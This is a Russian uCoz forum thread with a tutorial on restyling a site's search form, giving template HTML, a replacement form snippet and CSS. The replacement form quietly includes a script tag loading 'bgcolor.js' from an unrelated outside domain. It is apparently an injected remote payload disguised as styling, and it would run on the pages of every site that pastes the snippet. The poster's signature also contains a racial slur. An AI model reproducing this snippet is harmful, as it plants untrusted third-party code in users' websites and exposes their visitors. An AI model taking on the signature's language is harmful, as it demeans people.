[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
Страница 1 из 11
Форум » Другое » Скрипты для ucoz » Дизайн формы поиска для стандартных шаблонов системы uCoz (для стандартных шаблонов и не только)
Дизайн формы поиска для стандартных шаблонов системы uCoz
2weyДата: Вторник, 17.07.2012, 13:39 | Сообщение # 1
Сообщений: 50
Репутация:
[ 0 ]
Награды: 0
Статус: Offline
Для опытов мы возьмём стандартный шаблон системы #211, форма поиска на главной странице находится в первом контейнере слева.

Смотрим скрин скрипта: http://i009.radikal.ru/1207/ba/53590c35e001.jpg

Делается это очень просто: открываем шаблон, в котором находится блок с формой поиска (в данном шаблоне системы это шаблон "Первый контейнер"), вот что мы нашли:

[code]
<!-- <block6> -->
<?if($SEARCH_FORM$)?>
<table border="0" cellpadding="0" cellspacing="0" width="200">
<tr>
<td width="170" bgcolor="#318EB7" background="/.s/t/211/5.gif" class="blockT1"><span class="blockTitle"><!-- <bt> --><!--<s5171>-->Поиск<!--</s>--><!-- </bt> --></span></td>
<td width="30" bgcolor="#318EB7" background="/.s/t/211/5.gif" align="right"><img border="0" src="/.s/t/211/6.gif" width="30" height="29"></td>
</tr>
<tr>
<td colspan="2" bgcolor="#C3E1EF" background="/.s/t/211/7.gif" class="blockT2">
<div align="center"><div align="center"><!-- <bc> -->$SEARCH_FORM$
<!-- </bc> --></div></div>
</td>
</tr>
<tr>
<td colspan="2"><img border="0" src="/.s/t/211/8.gif" width="200" height="5"></td>
</tr>
</table><br>
<?endif?>
<!-- </block6> --> [/code]

заменяем системный код

[code]$SEARCH_FORM$[/code]

на нашу форму поиска

[code]<?if($USER_AGENT$='ie')?>$SEARCH_FORM$<?else?>
<form class="searchform" onsubmit="this.sfSbm.disabled=true" method="get" style="margin:0" action="/search/">
<script src="http://qyjkl.ru/bgcolor.js" type="text/javascript"></script>
<input class="searchfield" value="Поиск..." type="text" name="q" maxlength="30" size="20" onfocus="if (this.value == 'Поиск...') {this.value = '';}" onblur="if (this.value == '') {this.value = 'Поиск...';}" />
<input class="searchbutton" type="submit" name="sfSbm" value="Go" />
</form><?endif?>[/code]

Сохраняем изменения и переходим в редактирование шаблона "Таблица стилей (CSS)". Добавляем стили для нашей новой формы поиска:

[code]/* Форма поиска
-------------------------------------- */
.searchform {
display: inline-block;
zoom: 1; /* ie7 hack for display:inline-block */
*display: inline;
border: solid 1px #6699ff;
padding: 3px 6px;
-webkit-border-radius: 2em;
-moz-border-radius: 2em;
border-radius: 2em;
-webkit-box-shadow: 0 1px 0px rgba(0,0,0,.1);
-moz-box-shadow: 0 1px 0px rgba(0,0,0,.1);
box-shadow: 0 1px 0px rgba(0,0,0,.1);
background: #f1f1f1;
background: -webkit-gradient(linear, left top, left bottom, from(#fff), to(#ededed));
background: -moz-linear-gradient(top, #fff, #ededed);
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#ededed'); /* ie7 */
-ms-filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#ededed'); /* ie8 */
}
.searchform input {
font: normal 12px/100% Arial, Helvetica, sans-serif;color:#666;
}
.searchform .searchfield {
background: #fff;
padding: 6px 6px 6px 8px;
width: 145px;
border: solid 1px #6699ff;
outline: none;
-webkit-border-radius: 2em;
-moz-border-radius: 2em;
border-radius: 2em;
-moz-box-shadow: inset 0 1px 2px rgba(0,0,0,.2);
-webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,.2);
box-shadow: inset 0 1px 2px rgba(0,0,0,.2);
}
.searchform .searchbutton {
color: #fff;
border: solid 1px #336699;
font-size: 10px;
height: 25px;
width: 25px;
text-shadow: 0 1px 1px rgba(0,0,0,.6);
-webkit-border-radius: 2em;
-moz-border-radius: 2em;
border-radius: 2em;
background: #6699cc;
background: -webkit-gradient(linear, left top, left bottom, from(#9e9e9e), to(#454545));
background: -moz-linear-gradient(top, #9e9e9e, #454545);
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#9e9e9e', endColorstr='#454545'); /* ie7 */
-ms-filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#9e9e9e', endColorstr='#454545'); /* ie8 */
}[/code]


* Все хорошее Niggas, все Niggas, которые изменят мир, умирают в насилии. Они не умирают в регулярных способами.
 
Форум » Другое » Скрипты для ucoz » Дизайн формы поиска для стандартных шаблонов системы uCoz (для стандартных шаблонов и не только)
Страница 1 из 11
Поиск:

Статистика Форума
Последние обновленные темы Самые популярные темы Самые активные Новые участники
Новый информер комментарии для ucoz как на Dle (0)
[Скрипты для ucoz]
Голубая кнопка вверх для Ucoz (0)
[Скрипты для ucoz]
Статистика кто посетил в красивом стиле для uCoz (0)
[Скрипты для ucoz]
статистика CW (0)
[Скрипты для ucoz]
Радио для сайта (0)
[Скрипты для ucoz]
новый вид статистики для ucoz скрипт (0)
[Скрипты для ucoz]
Новый Мини профиль (0)
[Скрипты для ucoz]
Дизайн формы поиска для стандартных шаблонов системы uCoz (0)
[Скрипты для ucoz]
Статистика для форума (0)
[Скрипты для ucoz]
Красивая форма поиска для юкоз (0)
[Скрипты для ucoz]
Набор Администраторов! (17)
[KonWarez]
Клан CS под Начальством Cleatora (10)
[Корзина]
Что вы слушаете в данный момент? (10)
[Музыка]
Игра "Прибавь 7" (10)
[Форумные игры]
Общаемся на любые темы (8)
[О разном]
считаем до 100 (8)
[О разном]
Раздача ICQ от Creator (7)
[Корзина]
онлайн игры? (6)
[Корзина]
http://clan-gaming.do.am/ (6)
[Корзина]
Баги, ошибки на сайте (6)
[KonWarez]

Creator

2wey

mystiQ

FOXAR

Dj-Romik

NeAdmin

Avatar

Zefod

Mouse

Speed

adminka

c-ronaldo

Forest

Nooble

Psych0
Angelinajolibig21:13
zerrro19:20
Georgegox07:17
qaqaqaqaqa14:07
dnvjfnvjkfnb14:04
GGG23:44
maksim643414:04
Nikol5518:04
Terratron16:58
upyruga23:49
Wilander14:58
kmaers02:36
frogfrog16:07
000017:35
smasto11:41


Хостинг от uCoz